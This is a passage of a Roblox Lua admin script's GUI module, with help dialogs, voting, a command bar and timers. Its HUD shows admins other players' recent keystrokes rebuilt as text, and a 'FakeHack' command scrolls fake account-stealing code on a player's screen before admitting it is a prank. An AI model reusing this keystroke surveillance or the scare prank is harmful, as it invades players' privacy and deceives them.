4579 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4580
4581 return Text
4582end
4583
4584function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4585 if not Player then return nil end
4586 if not CommandTrigger then return nil end
4587
4588 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4589
4590 local CommandKey = CommandTrigger
4591
4592 if not Commands[CommandKey] then
4593 for CommandNames,_ in pairs(Commands) do
4594 for _,CommandName in pairs(CommandNames) do
4595 if CommandName == CommandKey then
4596 CommandKey = CommandNames
4597 end
4598 end
4599 end
4600 end
4601
4602 local CommandData = Commands[CommandKey]
4603
4604 local BodyText = "No valid command has been entered"
4605 local TitleText = "Error"
4606 local CanExe = false
4607 if CommandData then
4608 if Dialog then
4609 Dialog:Invoke(true)
4610 end
4611 local PlayerRank = RANK:GetRank(Player)
4612 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4613 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4614
4615 TitleText = "Command: "..CommandKey[1]
4616 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4617
4618
4619Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4620
4621
4622Description: ]]..CommandData[2]..[[
4623
4624
4625Arguments: ]]..CommandData[3]..[[
4626
4627
4628Minimum rank needed: ]]..CommandData[4]..[[
4629
4630
4631Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4632
4633
4634Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4635
4636
4637Http Command ]]..STRING:BoolString(CommandData.Http)
4638 end
4639
4640 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4641 if Dialog then
4642 Closed.Event:connect(function() Dialog:Invoke(false) end)
4643 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4644 end
4645end
4646
4647function GUI:CreateHUD(Speaker)
4648 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4649
4650 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4651 if SG then SG:Destroy() end
4652 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4653
4654 local function AddHUD(Player, Char)
4655 if not Char or not Char:FindFirstChild("Head") then return nil end
4656
4657 local Rank = RANK:GetRank(Player)
4658 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4659 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4660 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4661 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4662 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4663 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4664 InfoLabel.Text = "Name: "..Player.Name..[[
4665Rank: ]]..RANK:GetRank(Player)..[[
4666Age: ]]..STRING:FindAge(Player.AccountAge)
4667 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4668 InfoLabel.Text = InfoLabel.Text..[[
4669Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4670 end
4671 if LastKeys[Player.UserId] then
4672 local Keys = ""
4673 local KeyLog = {}
4674 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4675 table.insert(KeyLog, KeyData[1])
4676 if KeyData[2] == 8 then
4677 Keys = string.sub(Keys, 1, #Keys - 1)
4678 elseif KeyData[2] == 13 then
4679 Keys = Keys.." "
4680 else
4681 Keys = Keys..string.char(KeyData[2])
4682 end
4683 end
4684 KeyLabel.Text = table.concat(KeyLog, "\n")
4685 KeyOutput.Text = Keys
4686 end
4687 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4688 end end)()
4689
4690 local CharRev,Removing = nil,nil
4691 CharRev = Player.CharacterRemoving:connect(function()
4692 PlayerHUD:Destroy()
4693 CharRev:disconnect()
4694 Removing:disconnect()
4695 end)
4696 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4697 PlayerHUD:Destroy()
4698 CharRev:disconnect()
4699 Removing:disconnect()
4700 end end)
4701 end
4702
4703 local function ConnectHUD(Player)
4704 if Player ~= Speaker then
4705 if Player.Character then
4706 AddHUD(Player, Player.Character)
4707 end
4708
4709 Player.CharacterAdded:connect(function(Char)
4710 if Speaker then
4711 AddHUD(Player, Char)
4712 else return nil
4713 end
4714 end)
4715 end
4716 end
4717
4718 for _,Player in pairs(Server.Players:GetPlayers()) do
4719 ConnectHUD(Player)
4720 end
4721
4722 Server.Players.PlayerAdded:connect(ConnectHUD)
4723end
4724
4725function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4726 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4727 local Stopped = false
4728
4729 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4730 Frame.Size = UDim2.new(1, 0, 1, -30)
4731 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4732
4733 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4734 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4735 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4736
4737 local function AddLine(Speaker, MessageText, MessageColor)
4738 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4739 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4740 if not MessageColor then MessageColor = GUI:ContrastColor() end
4741 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4742 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4743 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4744 Bounds.Parent = Frame
4745 end
4746
4747 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4748
4749 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4750 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4751 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4752
4753 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4754 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4755
4756 CORE:ExecuteResource("MessagePromptHandler", Frame)
4757
4758 wait(0.1)
4759
4760 if PreAdd then
4761 for Num,Add in pairs(PreAdd) do
4762 AddLine(Add[1], Add[2], Add[3])
4763 end
4764 end
4765
4766 --[[
4767 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4768
4769 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4770 if ChatBox.Text == "Click here or press the '-' key" then
4771 ChatBox.Text = ""
4772 end
4773 end)
4774 ]]
4775
4776 local function FireSendPressed()
4777 local Text = CORE:ReadProperty(RPR, Player, "Text")
4778 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4779 SendPressed:Fire(Text)
4780 FakeCB.Visible = true
4781 ClearCB:InvokeClient(Player)
4782 end
4783 end
4784
4785 Closed.Event:connect(function()
4786 if Stopped == false then
4787 Stopped = true
4788 if SpeakerEvents then SpeakerEvents("Leave") end
4789 end
4790 end)
4791
4792 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4793 EnterPressed.OnServerInvoke = FireSendPressed
4794 AddMessage.OnInvoke = AddLine
4795
4796 if SpeakerEvents then
4797 SpeakerEvents("Join")
4798
4799 coroutine.wrap(function()
4800 repeat wait() until not Frame or not Frame.Parent
4801 if Stopped == false then
4802 Stopped = true
4803 SpeakerEvents("Leave")
4804 end
4805 end)()
4806 end
4807
4808 return SendPressed, AddMessage
4809end
4810
4811function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4812 if tonumber(Time) then ShowFormButtons = false end
4813 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4814 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4815 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4816 local Clicked = nil
4817 local Alive = true
4818
4819 local function ClosePrompt(ButtonName)
4820 Alive = false
4821 Close:Invoke()
4822 Clicked = ButtonName
4823 end
4824
4825 for Num,Select in pairs(Buttons) do
4826 local Name = Select
4827 local Style = "White"
4828 local TextColor3 = Color3.new(0,0,0)
4829 if type(Select) == "table" then
4830 Name = Select[1]
4831 if Select[2] then Style = Select[2] end
4832 if Select[3] then TextColor3 = Select[3] end
4833 elseif type(Select) == "string" then
4834 local Case = string.lower(Select)
4835 if Case == "ok" then
4836 Name = "Ok"
4837 Style = "Primary"
4838 TextColor3 = Color3.new(1,1,1)
4839 elseif Case == "yes" then
4840 Name = "Yes"
4841 Style = "Gray"
4842 TextColor3 = Color3.new(0,1,0)
4843 elseif Case == "no" then
4844 Name = "No"
4845 Style = "Red"
4846 TextColor3 = Color3.new(1,0,0)
4847 end
4848 end
4849
4850 if Style == "None" then Style = "Custom" end
4851 if Style == "Casual" then Style = "RobloxButton" end
4852 if Style == "Red" then Style = "RobloxButtonDefault" end
4853 if Style == "Gray" then Style = "RobloxRoundButton" end
4854 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4855 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4856
4857 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4858 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4859 SOUND:BindButton(Button)
4860 end
4861
4862 if tonumber(Time) then
4863 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4864 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4865 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4866
4867 for i = Time,0,-1 do
4868 for ii = 1,10 do
4869 if Alive == true then
4870 Ticker.Text = i
4871 wait(0.1)
4872 else
4873 break
4874 end
4875 end
4876 end
4877 if Alive == true then
4878 ClosePrompt()
4879 end
4880 end
4881
4882 repeat wait() until Alive == false
4883 return Clicked
4884end
4885
4886function GUI:Vote(Speaker, Players, Text, Time)
4887 if not Players or not Text or #Players <= 0 then return end
4888
4889 local Votes = {}
4890 local Tick = 0
4891
4892 for _,Player in pairs(Players) do
4893 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4894 local CanVote = true
4895 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4896 if CanVote == true then
4897 coroutine.wrap(function()
4898 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4899 if Answer == nil then Answer = "Unknown" end
4900 table.insert(Votes, Answer)
4901 end)()
4902 end
4903 end
4904 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4905 wait(2)
4906 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4907 local Total = #Players
4908 local Yes,No,Unknown = 0,0,0
4909 for _,Vote in pairs(Votes) do
4910 if Vote == "Yes" then Yes = Yes + 1
4911 elseif Vote == "No" then No = No + 1
4912 end
4913 end
4914 Unknown = #Players - #Votes
4915
4916 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4917 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4918 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4919]]..Yes.."/"..Total..[[
4920]]..math.ceil((Yes/Total)*100).."% "
4921 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4922]]..No.."/"..Total..[[
4923]]..math.ceil((No/Total)*100).."% "
4924 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4925]]..Unknown.."/"..Total..[[
4926]]..math.ceil((Unknown/Total)*100).."% "
4927 end
4928end
4929
4930--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4931
4932function GUI:LoadGui(Player, Text, InfoText)
4933 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4934 local Dead = false
4935
4936 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4937 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4938 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4939 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4940 if InfoText then Info.Text = InfoText end
4941
4942 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4943 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4944
4945 CloseGui.OnInvoke = function()
4946 Close:Invoke()
4947 Dead = true
4948 end
4949 AddInfo.OnInvoke = function(AddText)
4950 Info.Text = AddText
4951 end
4952
4953 coroutine.wrap(function()
4954 for i = 0,math.huge,3 do
4955 if Dead == false and Frame then
4956 WaitIcon.Rotation = i
4957 wait()
4958 else
4959 break
4960 end
4961 end
4962 end)()
4963
4964 coroutine.wrap(function()
4965 while Dead == false and Frame do
4966 wait(0.5)
4967 LoadLabel.Text = Text.."."
4968 wait(0.5)
4969 LoadLabel.Text = Text..".."
4970 wait(0.5)
4971 LoadLabel.Text = Text.."..."
4972 wait(0.5)
4973 LoadLabel.Text = Text..".."
4974 wait(0.5)
4975 LoadLabel.Text = Text.."."
4976 wait(0.5)
4977 LoadLabel.Text = Text
4978 end
4979 end)()
4980
4981 wait(1)
4982
4983 return CloseGui, AddInfo
4984end
4985
4986function GUI:FakeHack(Player) coroutine.wrap(function()
4987 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4988 local FakeText = [[
4989>SHELL: BEGIN
4990>RUNCODE:
4991return {
4992 local Hack = {"Account", "Tix", "Robux"};
4993 function Start(Type, Inject, Scan)
4994 if not Inject then Inject = "In-Game" end
4995 return {Type, Inject, Scan}
4996 end
4997 for Exe,Exploit in pairs(Hack) do
4998 local IP = Start("In-Game",Exploit,
4999 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5000 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5001 )
5002 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5003 for i = 1,#Injection[2] do
5004 Log("PlayerData", "ConnectHost", "PLAYERNAME")
5005 end
5006 local PlayerProxy = newproxy(true)
5007 setmetatable(PlayerProxy,Injection[3],{
5008 __index = function(StealData, ...) local Data = unpack(...)
5009 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5010 end;
5011 })
5012 end
5013 Log("HACKED HOST: PLAYERNAME")
5014}
5015>HACKED HOST: PLAYERNAME
5016
5017]]
5018 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5019 if SG then SG:Destroy() end
5020 SG = Instance.new("ScreenGui", Player.PlayerGui)
5021 SG.Name = "MML Hack Gui"
5022 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5023 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5024 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5025 for i = 1,#FakeText do
5026 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5027 if math.random(1,5) == 1 then
5028 wait()
5029 end
5030 end
5031 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5032 wait(3)
5033 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5034fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5035 X.Visible = true
5036end)() end
5037
5038function GUI:CommandBar(Player)
5039 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5040
5041 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5042 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5043 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5044 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5045
5046 local _,Rank = RANK:GetRank(Player)
5047 local UsableCommands = {}
5048 for CommandNames,Data in pairs(Commands) do
5049 if not Data.Hidden then
5050 if RANK:ConvertRank(Data[4]) <= Rank then
5051 for _,Command in pairs(CommandNames) do
5052 table.insert(UsableCommands, {Command, Data[3]})
5053 end
5054 end
5055 end
5056 end
5057
5058 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5059
5060 local function ExecuteText()
5061 local Text = CORE:ReadProperty(RPR, Player, "Text")
5062 CORE:Chatted(Text, Player, true)
5063 CommandBox.Text = "Enter a command here"
5064 end
5065
5066 local function AddSuggestion(Text)
5067 if Text == nil then Text = Settings.Prefix end
5068 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5069 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5070 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5071 if Text == Settings.Prefix then
5072 CommandBox.Text = Settings.Prefix
5073 else
5074 CommandBox.Text = Settings.Prefix..Text
5075 end
5076 CORE:ExecuteResource("Focus", CommandBox)
5077 end, true)
5078 end
5079
5080 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5081 if CommandBox.Text == "Enter a command here" then
5082 CommandBox.Text = ""
5083 end
5084 end)
5085
5086 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5087 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5088
5089 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5090 EnterPressed.OnServerInvoke = ExecuteText
5091
5092 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5093 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5094 Suggest:ClearAllChildren()
5095 local Text = CORE:ReadProperty(RPR, Player, "Text")
5096 if Text == "" then
5097 AddSuggestion(Settings.Prefix)
5098 end
5099
5100 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5101 Text = string.sub(Text,#Settings.Prefix+1)
5102 end
5103 for _,Data in pairs(UsableCommands) do
5104 local Command,Args = Data[1],Data[2]
5105 if string.find(string.lower(Command),string.lower(Text)) then
5106 local NewSuggestion = Command
5107 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5108 AddSuggestion(NewSuggestion)
5109 end
5110 end
5111
5112 end end)
5113end
5114
5115function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5116 if not Player or not AllSeconds then return nil end
5117 AllSeconds = tonumber(AllSeconds)
5118 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5119 AllSeconds = math.floor(AllSeconds)
5120 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5121 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5122 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5123 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5124 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5125 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5126
5127 local CurrentSeconds = AllSeconds
5128 local Alive = true
5129 coroutine.wrap(function() for i = 0,AllSeconds do
5130 if not Alive then break end
5131 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5132 local Minutes = tostring(math.floor(CurrentSeconds/60))
